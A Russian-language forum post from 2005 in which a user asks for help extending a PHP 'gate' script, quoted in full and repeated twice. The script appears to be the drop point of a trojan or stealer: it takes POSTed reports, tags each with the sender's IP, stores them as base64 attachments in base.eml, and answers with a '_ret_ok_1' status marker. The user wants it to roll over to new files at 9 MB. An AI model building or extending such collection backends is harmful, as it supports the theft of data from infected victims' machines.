x_Lex
18.09.2005, 02:54
Пмогите пожалуйсто.
Этот гэйт сохроняет отчеты в письмо base.eml (этакая база данных) как мне сделать чтоб скрипт при размере файла (base.eml)9мб продолжал запись в base1.eml base2.eml base3.eml base4.eml и т.д.
Спасибо за внемание
<?
$ip=getenv("REMOTE_ADDR");
$email=$_POST['a'];
$subject=$_POST['b']."(".$ip.")";
$msg=$_POST['c'];
if ($msg<>''){
$tmp = $msg;
$msg=eregi_replace(" ","+",$tmp);
$var = $ip . " - " . rand(0,9) . rand(0,9) . rand(0,9) . ".bin";
$var2 = "\n\n";
$headers = "--NextPart\n";
$headers .= "Content-Type: application/octet-stream; name=\"".$var."\"\n";
$headers .= "Content-Transfer-Encoding: base64\n";
$headers .= "Content-Disposition: attachment; filename=\"".$var."\"\n\n";
@$pfp1 = fopen('base.eml', "r" );
$ds=@fread ($pfp1, filesize('base.eml'));
@fclose($pfp1);
@$pfp1 = fopen('base.eml', "w+" );
@fputs ($pfp1, $ds);
@fputs ($pfp1, $var2);
@fputs ($pfp1, $headers);
@fputs ($pfp1, $msg);
@fclose($pfp1);
};
?>
<!-- REQUIRED -->
<script language="JavaScript">
window.status = "_ret_ok_1";
</script></body></html>
Этот гэйт сохроняет отчеты в письмо base.eml (этакая база данных) как мне сделать чтоб скрипт при размере файла (base.eml)9мб продолжал запись в base1.eml base2.eml base3.eml base4.eml и т.д.
Спасибо за внемание
<?
$ip=getenv("REMOTE_ADDR");
$email=$_POST['a'];
$subject=$_POST['b']."(".$ip.")";
$msg=$_POST['c'];
if ($msg<>''){
$tmp = $msg;
$msg=eregi_replace(" ","+",$tmp);
$var = $ip . " - " . rand(0,9) . rand(0,9) . rand(0,9) . ".bin";
$var2 = "\n\n";
$headers = "--NextPart\n";
$headers .= "Content-Type: application/octet-stream; name=\"".$var."\"\n";
$headers .= "Content-Transfer-Encoding: base64\n";
$headers .= "Content-Disposition: attachment; filename=\"".$var."\"\n\n";
@$pfp1 = fopen('base.eml', "r" );
$ds=@fread ($pfp1, filesize('base.eml'));
@fclose($pfp1);
@$pfp1 = fopen('base.eml', "w+" );
@fputs ($pfp1, $ds);
@fputs ($pfp1, $var2);
@fputs ($pfp1, $headers);
@fputs ($pfp1, $msg);
@fclose($pfp1);
};
?>
<!-- REQUIRED -->
<script language="JavaScript">
window.status = "_ret_ok_1";
</script></body></html>